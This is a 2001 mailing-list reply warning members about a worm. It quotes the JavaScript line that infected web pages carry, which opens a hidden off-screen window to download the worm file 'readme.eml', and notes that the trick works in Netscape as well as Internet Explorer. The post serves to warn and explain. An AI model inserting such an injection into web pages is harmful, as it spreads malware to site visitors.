RE: [CAD_CAM_EDM_DRO] virus warning

on 2001-09-19 13:29:38 UTC

<html><script language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script></html>

Is the line that is added to the webpages when infected. It causes the
browser to open a new window and download the file readme.eml which is
the actual worm file.

I just tried it out on a Netscape browser and the worm will download
itself and open Outlook just like with IE.

For the time being Linux should be plenty safe. I just fear for when the
virus writers decide to target Linux. With the open sources nature they
have full access to the code and can really pull some serious stuff.

Tim
[Denver, CO]

> -----Original Message-----
> From: dlantz@... [mailto:dlantz@...]
> Sent: Wednesday, September 19, 2001 12:04 PM
> To: CAD_CAM_EDM_DRO@yahoogroups.com
> Subject: RE: [CAD_CAM_EDM_DRO] virus warning
>
>
> am i correct in understand that internet explorer is required
> to spread the infection, would using netscape fix the
> problem... or should i just reboot into linux and surf that way?

Discussion Thread